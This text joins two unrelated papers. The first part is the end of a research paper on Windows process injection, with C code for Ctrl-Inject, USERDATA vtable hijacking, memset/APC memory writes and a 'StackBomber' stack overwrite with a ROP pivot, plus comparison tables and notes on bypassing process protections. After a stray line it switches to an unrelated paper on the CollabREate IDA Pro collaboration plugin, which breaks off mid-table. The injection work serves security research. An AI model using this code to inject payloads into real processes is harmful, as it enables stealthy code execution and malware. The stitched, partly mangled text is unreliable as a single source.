window,WM_KEYDOWN,’C’,0) for ‘C’). HANDLE h = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, process_id); // PROCESS_VM_OPERATION is required for RtlEncodeRemotePointer void* encoded_addr = NULL; ntdll!RtlEncodeRemotePointer(h, target_execution, &encoded_addr); // Use any Memory Write Primitive here… WriteProcessMemory(h, kernelbase!SingleHandler, &encoded_addr, 8, NULL); INPUT ip; ip.type = INPUT_KEYBOARD; ip.ki.wScan = 0; ip.ki.time = 0; ip.ki.dwExtraInfo = 0; ip.ki.wVk = VK_CONTROL; ip.ki.dwFlags = 0; // 0 for key press SendInput(1, &ip, sizeof(INPUT)); Sleep(100); PostMessageA(hWindow, WM_KEYDOWN, 'C', 0); // hWindow is a handle to the application window Evaluation: o Prerequisites: Console application, Target address must be RX (at least) o Limitations: none o CFG/CIG-readiness: the target execution address must be CFG-valid. o Control over registers: none o Cleanup required: yes. The original Ctrl-C handler must be restored, also the key pressed must be released… Cleanup code: // release the Ctrl key Sleep(100); ip.type = INPUT_KEYBOARD; ip.ki.wScan = 0; ip.ki.time = 0; ip.ki.dwExtraInfo = 0; ip.ki.wVk = VK_CONTROL; ip.ki.dwFlags = KEYEVENTF_KEYUP; SendInput(1, &ip, sizeof(INPUT)); // Restore the original Ctrl handler in the target process ntdll!RtlEncodeRemotePointer(h, kernelbase!DefaultHandler, &encoded_addr); // Use any Memory Write Primitive here… WriteProcessMemory(h, kernelbase!SingleHandler, &encoded_addr, 8, NULL); 18. Service Control Handler execution method (2018) Invented by Odzhan (https://modexp.wordpress.com/2018/08/30/windows-process-injection- control-handler/). Limited to services, and quite complicated. In essence, it overwrites an internal service structure (IDE) in the target service process (the attacker needs to first find the IDE in the process memory, apparently there’s not elegant way of doing it other than going over all RW sections of the target process memory and searching for the IDE structure) using any write primitive. The PoC is too long to provide here (it can be found in our git repository). It is based on https://github.com/odzhan/injection/tree/master/svcctrl. 19. Message passing write primitive (2018) Odzhan discusses the possibility of writing to a process using message passing APIs (https://modexp.wordpress.com/2018/07/15/process-injection-sharing-payload/). He toyed with using WM_COPYDATA message (sent via SendMessage/PostMessage) and discovered that the data wound up on the stack of the listening thread. However, this is not a stable condition and as such cannot be used for reliable exploitation. 20. USERDATA execution method (2018) Invented by Odzhan (https://modexp.wordpress.com/2018/09/12/process-injection-user- data/). Injects into the conhost.exe process associated with a desktop application. Our PoC is based on Odzhan’s code (https://github.com/odzhan/injection/tree/master/conhost). a. Write code/data using e.g. using VirtualAllocEx and WriteProcessMemory. b. Get the pointer to the user data virtual table using GetWindowLongPtr(…, GWLP_USERDATA) c. Read the virtual table d. Read the console dispatch table e. Make a copy of the dispatch table in memory, with a modified pointer for GetWindowHandle pointing at a target code f. Trigger the target code using SendMessage(…, WM_SETFOCUS, …) g. Restore the pointer to the original dispatch table. Code: DWORD conhost_id = conhostId(process_id); HANDLE hp = OpenProcess(PROCESS_VM_READ|PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, conhost_id); LPVOID target_payload = VirtualAllocEx(hp, NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hp, target_payload, payload, sizeof(payload), NULL); LONG_PTR udptr = GetWindowLongPtr(hWindow, GWLP_USERDATA); ULONG_PTR vTable; ReadProcessMemory(hp, (LPVOID)udptr, (LPVOID)&vTable, sizeof(ULONG_PTR), NULL); ConsoleWindow cw; ReadProcessMemory(hp, (LPVOID)vTable, (LPVOID)&cw, sizeof(ConsoleWindow), NULL); LPVOID target_cw = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); cw.GetWindowHandle = (ULONG_PTR)target_payload; WriteProcessMemory(hp, target_cw, &cw, sizeof(ConsoleWindow), NULL); WriteProcessMemory(hp, (LPVOID)udptr, &target_cw, sizeof(ULONG_PTR), NULL); SendMessage(hWindow, WM_SETFOCUS, 0, 0); WriteProcessMemory(hp, (LPVOID)udptr, &vTable, sizeof(ULONG_PTR), NULL); NOTE: the process_id provided must have conshot.exe as its child (so when the application is run from a command line, process_id must belong to the cmd.exe process). hWindow is a window belonging to the process whose ID is process_id. Evaluation: o Prerequisites: Console application, Target address must be RX (at least) o Limitations: none o CFG/CIG-readiness: the target execution address must be CFG-valid. o Control over registers: none o Cleanup required: yes. The original virtual table needs to be restored. 21. ALPC execution method (2019) Invented by Odzhan (https://modexp.wordpress.com/2019/03/07/process-injection-print- spooler/). Limited to processes that have ALPC ports. The PoC is too long to provide here (it can be found in our git repository), it is based on the code snippets in the blog post, as well as on https://github.com/odzhan/injection/tree/master/spooler. a. Search for an (undocumented) ALPC control data structure that contains a callback. b. Memory writing primitive is used to overwrite the callback address c. The injecting process enumerates over all ports and attempts to connect to each one in order to trigger the callback. NOTE: in Windows 10 version 1903 the ALPC port is 46 (as opposed to 45 in earlier versions). Evaluation: o Prerequisites: process uses ALPC ports, target address must be RX (at least) o Limitations: none o CFG/CIG-readiness: the target execution address must be CFG-valid. o Control over registers: none o Cleanup required: yes. The original callback needs to be restored. 22. CLIPBRDWNDCLASS execution method (2019) Hypothesized by Adam, Hexacorn (https://modexp.wordpress.com/2019/05/24/4066/) in 2018, and implemented by Odzhan (https://modexp.wordpress.com/2019/05/24/4066/) in 2019. Limited to processes that have private clipboard windows. This is somewhat unreliable, since some processes like Explorer may or may not have a private window throughout their lifetime. The technique uses SetProp to set the clipboard window property ClipboardDataObjectInterface to an object (IUnknown) whose Release virtual function points at the target code. Then execution is triggered by posting a message of type WM_DESTROYCLIPBOARD to the clipboard window (which eventually invokes the Release function of the object). Bottom line: not a reliable execution technique (requires private clipboard window). 23. DnsQuery_A Callback execution method (2019) Invented by Adam, Hexacorn (http://www.hexacorn.com/blog/2019/06/12/code-execution-via- surgical-callback-overwrites-e-g-dns-memory-functions/). Limited to processes that require DNS resolution (i.e. invoke DnsQuery). DnsQuery invokes DnsApi!pDnsAllocFunction (function pointer) to allocate memory, so modifying this pointer to point at a target code/function yields execution. The execution technique is implemented in 3 steps: (a) find the address of the DnsApi module in the target process; (b) overwrite its pDnsAllocFunction (a known offset from the beginning of DnsApi) with the pointer of target code; (c) Trigger DnsQuery_A in the target process. Unfortunately, step (c) is not easily achieved, therefore this technique is not too reliable. Bottom line: not a reliable execution technique (as it requires triggering DnsQuery_A). 24. WNF (Windows Notification Facility) execution method (2019) Invented by Odzhan (https://modexp.wordpress.com/2019/06/15/4083/). Limited to processes that use WNF (this is probably quite rare, so far we’ve only found one such process – explorer.exe). The code itself is too long to be included here (it can be found in our git repository). a. Search for the “master” WNF subscription table b. Traverse a linked-list of name entries to find the entry matching a specific notification name (WNF_SHEL_APPLICATION_STARTED) c. Locate the user subscription entry from that entry. The user subscription entry contains a callback. This callback is overwritten with an attacker-provided pointer to code d. Trigger the notification using NtUpdateWnfStateData. NOTE: we improved on the original implementation by finding the WNF subscription table via references in the NTDLL code. 25. memset/memmove write primitive (NEW! 2019) Invented by Amit Klein, Itzik Kotler, Safebreach. Requires an alertable thread. a. Execute memset (using NtQueueApcThread) to write a single byte to the target process. b. Repeat (a) until all bytes are written. c. If needed, copy the data atomically (via NtQueueApcThread invoking memmove) HANDLE ntdll= GetModuleHandleA("ntdll"); HANDLE t = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id); for (int i = 0; i < sizeof(payload); i++) { ntdll!NtQueueApcThread(t, GetProcAddress(ntdll, "memset"), (void*)(target_payload+i), (void*)*(((BYTE*)payload)+i), 1); } // Can finish with the “atomic” ntdll!NtQueueApcThread(t, GetProcAddress(ntdll, "memmove"), (void*)target_payload_final, // (void*)target_payload, sizeof(payload)); Evaluation: o Prerequisites: Thread must be in alertable state o Limitations: none o CFG/CIG-readiness: not affected o Controlled vs. uncontrolled write address: address is fully controlled o Stability: good 26. “StackBomber” write primitive and execution method (NEW! 2019) Invented by Amit Klein, Itzik Kotler, Safebreach. NOTE: Yuki Chen anticipated stack overwrite as an execution method in 2015 (https://www.blackhat.com/docs/eu-15/materials/eu-15-Chen- Hey-Man-Have-You-Forgotten-To-Initialize-Your-Memory.pdf), but he did not elaborate or demonstrate, also he did not describe how to find and overwrite TOS safely, such that control is passed to the payload without crashing the original function first. Naïve (and using memset/APC as a writing technique): a. Read RSP via GetThreadContext b. Override stack data with new stack, via NtQueueUserAPC(ntdll!memset, thread, destination,byte,1). Specifically, the return address stored on the stack is overwritten. Execution will commence once the alertable function returns. Note that the 5 alertable functions call NtXXX functions which are simple wrappers around SYSCALL (SleepEx -> NtDelayExecution, WaitForSingleObjectEx -> NtWaitForSingleObject, WaitForMultipleObjectsEx -> NtWaitForMultipleObjects, SignalObjectAndWait -> NtSignalAndWaitForSingleObject, RealMsgWaitForMultipleObjectsEx -> NtUserMsgWaitForMultipleObjectsEx). These five NtXXX functions use the following template: mov r10,rcx mov eax,SERVICE_DESCRIPTOR test byte ptr [SharedUserData+0x308],1 jne +3 syscall ret int 2E ret So these functions don’t use the stack, therefore RSP ==TOS contains the return address, hence we know exactly where to place the ROP chain. We can generalize this – knowing RIP usually allows us to determine where the return address is, relative to RSP. The above case becomes a special case wherein the return address offset relative to RSP is 0 (when RIP is NtXXX+0x14 for the five NtXXX functions named above). Naïve code: HANDLE ntdll= GetModuleHandleA("ntdll"); HANDLE t = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME, FALSE, thread_id); SuspendThread(t); CONTEXT ctx; ctx.ContextFlags = CONTEXT_ALL; GetThreadContext(t, &ctx); DWORD64 tos = (DWORD64)ctx.Rsp; for (int i = 0; i < sizeof(ROP_chain); i++) { ntdll!NtQueueApcThread(t, GetProcAddress(ntdll, "memset"), (void*)(tos+i), (void*)*(((BYTE*)ROP_chain)+i), 1); } ResumeThread(t); Of course, this technique ruins the current stack, so there’s no way to resume the original thread flow. There are several alternatives: • Backup the current stack first (using memmove), then restore it and the registers. Note: in order to accommodate the backup stack, the stack can be grown by writing a dummy value every 4KB (allocating a new page each time). • Alternatively, the stack can be read by the injector process, using a memory read primitive (e.g. ReadProcessMemory), and embedded in the payload. • Pivot to a new memory immediately – this ruins only the return address, and another QWORD above it (which is anyway reserved for the leaf function and unused by the 5 leaf functions mentioned above, hence can be safely overwritten with no need for restoration). The payload needs to restore RSP and the return address (only). As for restoring registers, the 5 leaf functions do not rely on volatile registers when transferring control to the kernel, and thus it is safe to modify the volatile registers, but the non-volatile registers must be restored. Keep in mind that calling other (system) functions from the payload does not modify the non-volatile registers since they are restored before control is returned to the main payload. Thus, if the payload is written to only use volatile registers, it will be safe (with no need to restore registers). A safe version (including clean-up): // payload mustn’t modify non-volatile registers, must copy the saved return address to the original tos location (e.g. using memmove) // and must restore rsp and control when it’s done, e.g. using GADGET_pivot. HANDLE t = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME, FALSE, thread_id); SuspendThread(t); CONTEXT context; context.ContextFlags = CONTEXT_ALL; GetThreadContext(t, &context) DWORD64 orig_tos = (DWORD64)context.Rsp; DWORD64 tos = orig_tos-0x2000; // 0x2000 experimentally works… // Grow the stack to accommodate the new stack for (DWORD64 i = orig_tos - 0x1000; i >= tos; i -= 0x1000) { (*NtQueueApcThread)(t, GetProcAddress(ntdll, "memset"), (void*)(i), (void*)0, 1); } // Write the new stack payload[saved_tos]=orig_tos; for (int i = 0; i < sizeof(payload); i++) { (*NtQueueApcThread)(t, GetProcAddress(ntdll, "memset"), (void*)(tos + i), (void*)*(((BYTE*)payload) + i), 1); } // Save the original return address into the new stack (*NtQueueApcThread)(t, GetProcAddress(ntdll, "memmove"), (void*)(payload[saved_return_address]), (void*)orig_tos, 8); // overwrite the original return address with GADGET_pivot for (int i = 0; i < sizeof(tos); i++) { (*NtQueueApcThread)(t, GetProcAddress(ntdll, "memset"), (void*)(orig_tos + i), (void*)(((BYTE*)&GADGET_pivot)[i]), 1); } // overwrite the original tos+8 with the new tos address (we don't need to restore this since it's shadow stack and not used by the leaf function!) for (int i = 0; i < sizeof(tos); i++) { (*NtQueueApcThread)(t, GetProcAddress(ntdll, "memset"), (void*)(orig_tos + 8 + i), (void*)(((BYTE*)&tos)[i]), 1); } ResumeThread(t); Evaluation: • Prerequisites: Thread must be in alertable state. Target address must be RX (at least) • Limitations: none • CFG/CIG-readiness: not affected. • Control over registers: no • Stability: since all memory writes are queued, and happen together, atomicity is not an issue. • Cleanup required: yes. The original thread state, stack and non-volatile registers need to be restored. Shatter-like Techniques There are 7 Shatter-like techniques: (WordWarping, Hyphentension, AutoCourgette, Streamception, Oleum, ListPLanting, Treepoline) described by Odzhan (https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/). Due to time shortage, we’re not providing analysis and PoCs here – this will be included in a future version of the paper and PINJECTRA. Summary of Techniques Memory Allocation Allocation Technique Memory Access CFG-valid? Stable? VirtualAllocEx RWX Yes Yes (allocated memory) Image (.data slack), Stack, Heap RW No .data slack – Yes, Stack/Heap – depends. NtMapViewOfSection RWX Yes Yes Memory Write (boldface APIs are target process oriented) Write Technique Prerequisites/Limitations Address control Stable? Main APIs used WriteProcessMemory None Full Yes OpenProcess, WriteProcessMemory Existing Shared Memory Process must have a RW Shared Memory section None May be unstable OpenFileMapping, MapViewOfFile, OpenProcess, VirtualQueryEx, ReadProcessMemory Atom Bombing Thread must be in alertable state Full Yes OpenThread, GlobalAtomAdd, ntdll!NtQueueApcThread NtMapViewOfSection Cannot write on allocated memory (e.g. Image, Stack, Heap) N/A Yes CreateFileMapping, MapViewOfFile, OpenProcess, ntdll!NtMapViewOfSection memset/memmove Thread must be in alertable state Full Yes Execution Techniques (boldface APIs are global or target process oriented) Execution method Famil y Prerequisites/ Limitations CFG/C IG constr aints Controlled registers Cleanup/Sta bility Main APIs used DLL injection via CreateRemo teThread DLL innje ction (1) DLL on disk; (2) DLL path in target process memory; (3) Loader lock restrictions (CIG) DLL must be MSFT- signed … None (N/A – runs native code) OpenProcess+ CreateRemoteThread / OpenThread+ QueueUserAPC/ ntdll!NtQueueApcTh read CreateRemo teThread Target address must be RX (at least) (CFG) Target addre ss must be CFG- valid RCX OpenProcess, CreateRemoteThread APC (1) Target address must be RX (at least); (2) Thread must (CFG) Target addre ss must RCX (also RDX and R8 for NtQueueAp cThread) OpenThread, QueueUserAPC/ ntdll!NtQueueApcTh read be in alertable state be CFG- valid Thread execution hijacking Target address must be RX (at least). (CFG) RSP (if set) must be within stack limits All non volatile registers, in some cases also volatile registers Cleanup needed in order for the original thread to resume execution OpenThread, SuspendThread, ResumeThread, SetThreadContext Windows hook DLL inject ion (1) DLL on disk; (2) target process must have user32.dll loaded (and a message loop thread) (CIG) DLL must be MSFT- signed … None (N/A – runs native code) SetWindowsHookEx Ghost- writing Target address must be RX (at least) None All non volatile registers, in some cases also volatile registers Cleanup needed in order for the original thread to resume execution. May be tricky! OpenThread, GetThreadContext, SetThreadContext, SuspendThread, ResumeThread SetWindow Long/ SetWindow LongPtr Switc h virtua l table and trigge r (1) A window belonging to the target process, that uses the extra window bytes to store a pointer to an object with a virtual function table. Specifically, explorer’s Shell Tray Window uses the first 8 extra window bytes to store a pointer to a CTray object; (CFG) Target addre ss must be CFG- valid None Cleanup needed: the original CTray object must be restored, and special consideratio n must be given for the return state from the function FindWindow/OpenW indow, SetWindowLong/Set WindowLongPtr (2) Target address must be RX (at least) Unmap+ove rwrite Target address must be RX (at least) None None (N/A – runs native code) Stability: code should take care to retain the state of the module’s static variables (it’s impossible to unmap partial module memory), and flush the instruction cache. This needs to be done while the target process is suspended. This requires a memory read primitive (e.g. ReadProcess Memory), and process suspend+res ume. OpenProcess, ntdll!NtUnmapView OfSection, ntdll!NtSuspendProc ess, ntdll!ResumeProcess , FlushInstructionCach e, ReadProcessMemory PROPagate Switc h virtua l table and trigge r (1) A window belonging to the target process, that is subclassed. Specifically, one of Explorer’s System Tray sub-windows is subclassed; (2) Target (CFG) Target addre ss must be CFG- valid None Cleanup: The original subclass structure needs to be restored. FindWindow/OpenW indow, GetProp, SetProp, ReadProcessMemoe y address must be RX (at least) Kernel Callback Table Switc h virtua l table and trigge r (1) Target process must own a window; (2) Target address must be RX (at least) (CFG) Target addre ss must be CFG- valid None The original kernel callback table must be restored. FindWIndow/OpenW indow (or similar), OpenProcess, ntdll!NtQueryInformatio nProcess, SendMessage Ctrl-Inject Switc h virtua l table and trigge r (1) Console application; (2) Target address must be RX (at least) (CFG) Target addre ss must be CFG- valid None The original Ctrl-C handler must be restored, also the key pressed must be released. OpenProcess, ntdll!RtlEncodeRemo tePointer, SendInput, PostMessage Service Control Over write virtua l table and trigge r (1) Target process must be a service; (2) Target address must be RX (at least) (CFG) Target addre ss must be CFG- valid None (Probably) restore the original handler OpenSCManager, OpenService, OpenProcess, ControlService, VirtualQueryEx, ReadProcessMemory USERDATA Switc h virtua l table and trigge r (1) Console application; (2) Target address must be RX (at least) (CFG) Target addre ss must be CFG- valid None The original dispatch table pointer must be restored. OpenProcess, FindWindow/OpenW indow (or similar) GetWindowLongPtr, SendMessage ALPC callback Over write virtua l table and trigge r (1) Target process must have open ALPC port; (2) Target address must be RX (at least) (CFG) Target addre ss must be CFG- valid None Restore the original callback OpenProcess, VirtualQueryEx, NtDuplicateObject, NtConnectPort, ReadProcessMemory WNF callback Over write virtua l (1) Target process must use WNF; (2) Target (CFG) Target addre ss R9? Restore the original callback OpenProcess, ReadProcessMemory, NtUpdateWnfStateData table and trigge r address must be RX (at least) must be CFG- valid Stack Bombing (1) Target address must be RX (at least); (2) Thread must be in alertable state None None Cleanup: The original thread stack and registers need to be restored. This is easy with the 5 alertable functions. OpenThread, GetThreadContext, SetThreadContext, ntdll!NtQueueApcTh read Auxiliary technique During our research, we discovered an auxiliary technique that can be helpful for future injection attack development. This technique loads a system DLL into the target process, without writing its path to the process. Sometimes, it may be necessary to forcibly load a system DLL into a process, e.g. when a ROP gadget is needed from such DLL. Generally, an execution method with target LoadLibraryA can be used to load a DLL, provided the DLL path is in memory. Interestingly, kernelbase.dll contains a list of 1000+ system DLLs (as NUL-terminated strings). So arbitrary system DLL loading is possible even without prior write primitive. This list can be found in kernelbase!g_DllMap+8, which is a pointer to an array of structures, each structure is 3 QWORDs, the first one points to a string which is a DLL name (ASCII, NUL- terminated). The strings populate a consecutive area in the .rdata section, wherein each string is 8-byte aligned. PoCs and Library All the above PoCs are available at our GIT repository. Additionally, we provide “full exploitation” PoCs which demonstrate execution (MessageBox) for all techniques. Finally, we also provide a unique offering in the form of a “mix and match” C++ class library (code name PINJECTRA), so the library’s user can construct process injections by combining compatible write primitives with execution methods. This is the first such offering. Conclusions This paper fills a major gap in documentation, analysis, update and comparison of true process injection techniques for Windows 10 x64. Additionally, this paper presents a novel technique for writing data to memory, and a related technique for execution, both unaffected by all Windows 10 process protection methods. All techniques are offered as a barebone PoCs and as interchangeable classes in a library which allows “mix and match” style process injection coding. Acknowledgements Kudos to the EnSilo research team, to Odzhan, to Adam of Hexacorn and to Csaba Fitzl AKA TheEvilBit for their research and innovation over the recent years.
pdf
Next Generation Collaborative Reversing with Ida Pro and CollabREate Christopher Eagle and Timothy Vidas Department of Computer Science, Naval Postgraduate School, Monterey, CA {cseagle,tmvidas}@nps.edu Abstract A major drawback with the use of most reverse engineering tools is that they were not designed with collaboration in mind. Numerous kludgy solutions exist from asynchronous use of the same data files to working on multiple copies of data files all of which quickly diverge, leaving the differences to somehow be reconciled. These methods and existing tools[1] provided a first step towards automated collaboration amongst IDA Pro[2] users, however they suffer from several shortcomings including the fact that tools have failed to keep pace with the evolution of IDA's internal architecture. In this paper the authors present a new collaborative tool, titled collabREate[3], designed to bring nearly effortless collaboration to IDA users. 1 Introduction Reverse engineering of binary programs is a very time consuming task, often performed in a very serialized manner. Analysts are forced to operate in this serial fashion in large part because of the nature of the tools they choose to use. When several analysts do attempt to coordinate their efforts, it is usually accomplished by sharing copies of files or through strict turn taking access to a single shared work file. In some cases (predominantly with text files), work files may lend themselves to storage within a versioning system such as CVS [4] or subversion [5]. Due to the binary nature of most reverse engineering situations, it is no easy task to provide any automated merging of changes to such files. 1.1 IDA Pro One of the premier analysis tools for analyzing binary executable files is the Interactive Disassembler Pro (IDA Pro, or simply IDA) from Hex-Rays [2]. IDA Pro facilitates disassembly of program binaries by a single user and stores its work in data files which utilize a proprietary, binary format that does not easily lend itself to incorporation into a revision control system. In this regard, the format of IDA data files (IDB files) is analogous to compressed archive formats such as ZIP and TGZ. When two or more analysts wish to coordinate their efforts in analyzing a single binary file, they must either collaborate at a single workstation, take turns working on a single, shared IDB file, or painstakingly merge updates from several disparate IDB files into a single unified file that contains information from all related working copies. Needless to say, such processes may be both slow and error prone. Complicating matters is the fact that Hex-Rays tends to abandon backward compatibility when releasing new versions of IDA. For example, not only can IDB files created with the current version of IDA (version 5.2) not be opened with older versions of IDA, but the current version does not provide the capability to save an IDB in a way that older versions of IDA can open the file. This makes it extremely difficult for analysts using different versions of IDA to coordinate their efforts using anything other than face to face interaction and manual change incorporation. Clearly this is not an ideal situation for analysts who reside in different geographic locations. 1.2 IDA Sync In March 2005, in an effort to address the need for a collaborative reverse engineering tool, and Pedram Amini released Ida Sync [1]. The goal of Ida Sync was to provide a means for IDA users to share their work by posting certain IDB updates to a central project server which would store and forward each update to additional IDA users subscribed to the same project. Because updates are stored in a format independent of the IDA version used to generate the updates, Ida Sync made it possible for users with different versions of IDA 1 to coordinate their activities to the extent allowed by Ida Sync. Ida Sync operates as a plugin module to IDA Pro itself. The Ida Sync architecture introduced new Ida Sync specific command sequences (hotkeys) that mirror several common IDA operations including insertion of comments into IDB files and changing the names assigned to program virtual addresses and local variables. This approach has several drawbacks including the fact that it requires Ida Sync specific changes to a specific IDA Pro configuration file and that it requires IDA users to learn, and remember to use, additional command sequences in order to share changes to their IDB files. Another drawback is that users are limited to sharing only the operation types for which Ida Sync has chosen to implement command sequences. Additional changes such as reformatting code to data, data to code, or changing the format of an instruction's operands must be shared manually or not at all. A final drawback is that Ida Sync fails to account for any changes made to an IDB file through the use of IDA's scripting or plugin interfaces, thus a user who makes use of a script to modify an IDB file, must share that script with every other user working on the same project and expect those users to execute the script at the appropriate time in order to remain in sync with the project. 2 The IDA SDK As an IDA plugin, Ida Sync relies upon the Hex- Rays software development kit (SDK) for IDA in order to capture user actions and forward them, behind the scenes to a central Ida Sync update server. In the case of Ida Sync, the SDK facilitates this process by providing an API for interacting with IDA which in turn activates the Ida Sync plugin each time a user activates an Ida Sync specific hotkey sequence. Ida Sync, in turn, determines which hotkey sequence the user has activated, then performs actions that mimic, in some sense, a standard IDA action. For example, when a user activates the Ida Sync comment insertion command, Ida Sync displays a dialog very similar to the standard IDA comment insertion dialog. This familiarity helps the user draw on their experience with IDA to complete the requested operation. When the user signifies that the operation is complete, Ida Sync creates a comment in the user's IDB file, just as IDA would, and takes the additional step of forwarding the comment's location and content to the Ida Sync server. Ida Sync updates received by the Ida Sync server are forwarded to other connected Ida Sync clients, where the Ida Sync plugin running on each client interacts with the IDA API to apply the update to the local IDB file with no user interaction required. The IDA API (as published via the SDK) offers a more natural means for intercepting user actions than the introduction of additional hotkey sequences as implemented in Ida Sync. The API provides an event registration and notification mechanism that allows plugin components to register interest in specific types of IDA events and receive notification when those events take place. In the context of collaborative reverse engineering, such notifications allow a plugin programmer to seamlessly hook into a user's actions and forward information concerning each action to other interested users. Since the introduction of Ida Sync on 2005, the API's capability in regards to event notifications has grown significantly. Specifically, with the introduction of IDA version 5.1, the number of available notifications was expanded significantly to include notifications for a large percentage of user initiated actions. Through the use of the expanded notifications API, it has become possible to silently observe the majority of user modifications to an IDB file and forward detailed information concerning each change to any interested user. Through the use of such an approach, it becomes possible for users to synchronize their changes without requiring users to edit IDA configuration files or requiring them to learn (and remember to use) any new commands. As an added advantage, notifications are also triggered for actions initiated via the execution of IDA scripts or other plugin modules, eliminating the need to share and synchronize the use of these resources. 3 CollabREate The collabREate plugin represents the next generation in IDA collaboration. The goals of the collabREate project are to provide a deeper and more natural integration of the plugin component within the IDA API and to provide a more robust server component backed by a SQL database and capable of supporting features beyond simple database synchronization. From a high level perspective, collabREate owes much to the Ida Sync project. The collabREate plugin processes databases updates and communicates with a remote server component to synchronize database updates with additional project members. The 2 asynchronous communications component functions in a manner similar to that used by IDARub[6] and Ida Sync, however it has been improved considerably in order to perform properly under heavy load. This is where the similarities to Ida Sync end. 3.1 CollabREate Architecture The collabREate plugin takes a fundamentally different approach to capturing user actions by leveraging IDA's event notification mechanisms. Rather than introducing replacement commands that must be configured and remembered by users, collabREate hooks various database change notifications and seamlessly propagates database updates to the collabREate server. The types of database updates that can be captured and published by IDA are dependent on the IDA version which happens to be running the plugin. A summary of actions supported by recent IDA versions can be found in Table 1. The collabREate architecture offers publish and subscribe capabilities to participating users. A user may selectively choose to publish their changes to the collabREate server, or subscribe to changes that others post to the server or both publish and subscribe. For example an experienced user may wish to share (publish) their changes with a group while blocking (not subscribing to) all changes made by other users. These capabilities can be specified at the user level, the project level, and ultimately individual session level allowing for very granular and flexible control. For example, a novice user may wish only to publish comments, while another user may wish to subscribe only to name changes and patched byte notifications. Another major feature of collabREate is the ability to circumvent IDA database incompatibility issues. Databases produced using IDA version 5.2 can not be opened using older versions of IDA. This incompatibility eliminates one of the primary forms of IDA collaboration, database sharing, in cases where some users do not own the newest version of IDA. However, by synchronizing changes through a collabREate server, users of older versions of IDA are able to receive updates generated by users with newer versions of IDA. Unfortunately, users of older versions of IDA are also least able to publish their changes, so the flow of information is somewhat one way. 3.2 CollabREate IDA Pro Plugin One of the most significant features of the collabREate plugin is its degree of integration with the IDA SDK. IDA notifications are tied to specific database actions, not specific user actions. The fact that user actions happen to trigger IDA notifications is of course critical to the collaborative process, however notifications can be triggered by other means. IDC scripts and API function calls can generate notification messages as well. As a result, the actions of an IDC script that patches database bytes, renames locations or variables, or inserts new comments will be published to the collabREate server and will ultimately be shared with other IDA users working on the same project. IDA Version 4.9(fw) 5.0 5.1 5.2 Action (Publish/Subscribe) P S P S P S Undefine       Make code       Make data       Move seg       Name changed      Func added or deleted      Func bounds changed      Byte patched      Comment changed      Operand type changed      Enum created or changed      Struct created, deleted, or changed  1  1  Func tail added or deleted      Seg added, deleted, or changed      Flirt function identified     Table 1: collabREate capabilities by IDA version The collabREate plugin stores some information in the IDB itself, particularly information that ties the IDB to a particular collabREate project and information about the most recent communication with the collabREate server. This allows for a more intuitive interface when reconnecting to an existing project. If a user reconnects to a project they have previously 1 In order for full structure updates to be properly published IDA 5.2 and an updated IDA 5.2 kernel is required (available upon request to Hex-Rays.) 3 worked on using an IDB that already contains project information, the server forwards all updates that have not yet been applied to that IDB. Since the state of the IDB is tracked in the IDB (instead of on the server) the same user account can have multiple collabREate sessions open, or start a new collabREate session without the worry that some updates will be missed because the severer believes that the user account has already received the updates. Additionally, should a user wish to abandon the changes they have made to a database by closing the database without saving their work, there will be no confusion on the server side regarding which updates the user may or may not have received the next time the database is opened. Table 1 highlights the fact that older versions of IDA are not capable of publishing as much information as more recent versions of IDA. This is a result of the evolution of IDA's SDK over time. Specifically, a significant number of new notification types were added beginning with version 5.1 of the SDK. An important feature of collabREate is the fact that the inability to send all forms of updates does not prevent a version of IDA from receiving all forms of updates. A specific problem that needed to be addressed in the plugin was the fact that the act of applying a received collabREate update to a database would cause IDA to generate a new notification message in the database to which the update was applied. In order to prevent duplicate update message from being sent to the server and all associated users, the collabREate plugin temporarily disables reception of IDA notifications whenever a received update is being applied. 3.3 CollabREate Server The collabREate server offers two modes of operation. A basic mode and a database mode. When the server is unable, either intentionally or unintentionally, to connect to a backend database, the server enters into its basic mode of operation. In basic mode, the server functions as a simple non- authenticating, update reflector. Each time an update arrives for a given project, the update is forwarded to all other users that happen to be connected to the same project. In basic mode, no provisions exist for persistent storage of individual updates. Users who are late to join a basic mode project will not receive any updates that have been made prior to their arrival. In database mode, the server makes use of the persistence features of a backend SQL database to provide user management and authentication as well as allowing for multiple projects to be associated with a given input file, and persistent storage of all updates made to each project. The collabREate server component is currently implemented in Java and utilizes JDBC [7] to communicate with a back end SQL database. The server is responsible for user and project management. User accounts are managed via a separate management interface to the server, while projects are created by users as they connect to the server. The separated server management component allows the server to be run as daemon. The server contains as much of the decision logic and state tracking as possible. This both reduces the chances that a rogue plugin is able to perform actions that it shouldn't and it leaves the plugin to focus on the core ability of generating messages when events occur and applying updates as they are received from the server. The collabREate server has the capability of forking existing projects to allow users to create alternate branches of a project without impacting other users. This is a useful feature if you wish to make (and track) a significant number of changes to a database without forcing those changes on other users. In the collaborative spirit, users currently collabREating on a project are given the opportunity to follow a user that decides to fork, or they can choose to remain in the parent project. As the server is capable of handling multiple projects related to a single binary input file, the plugin and the server take additional steps to ensure that users are connecting to the proper project for their particular database. It is well known, that IDA provides no “undo” capability [8]. Similar to a project fork, the collabREate server allows for a feature called a checkpoint (aka snapshot). A checkpoint allows a user to apply a name to the particular state of the IDB present in their instance of IDA. A user may choose to create a checkpoint prior to performing some complicated or questionable edits to the IDB. If these updates result in an unwanted IDB state, users can choose to abandon that particular project by closing that IDB, opening the original binary, and forking a new project using the checkpoint as a starting point at which point the server will send the user all updates up to the checkpoint. A final feature of the collabREate server is the ability to restrict users to specific types of updates. For example, one user may be restricted to a subscribe only profile, while another user may be allowed to publish only comments, while a third is allowed to publish all types of updates. 4 3.4 CollabREate Protocol Communication between the plugins and the server occurs asynchronously. The collabREate protocol is a simple binary network protocol. The basic form of a datagram is shown in Table 2. The UpdateData field varies in structure, for example there are several commands that don't effect IDA at all, but are used for plugin to server communications such as user login and project selection. These collabREate specific datagrams do not contain the UpdateID field. Field Name Size 